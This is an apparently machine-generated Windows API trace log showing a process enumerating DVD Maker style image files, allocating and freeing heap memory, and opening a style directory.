RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1a88 [0066.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc2358 [0066.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd00) returned 0xfc5d10 [0066.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa438) returned 1 [0066.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.739] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1aa8 [0066.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc2460 [0066.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.740] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1ac8 [0066.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc2568 [0066.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.740] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1ae8 [0066.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc2670 [0066.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.740] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1b08 [0066.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc2778 [0066.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.741] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1 [0066.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1b28 [0066.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc2880 [0066.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.741] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1 [0066.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1b48 [0066.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc2988 [0066.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.741] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0 [0066.741] GetLastError () returned 0x12 [0066.741] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0066.742] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1 [0066.742] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0 [0066.742] GetLastError () returned 0x12 [0066.742] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.742] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0066.743] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0066.743] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.743] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0066.743] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.743] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.743] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.743] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.743] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.743] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.743] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0066.743] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.743] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0066.744] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 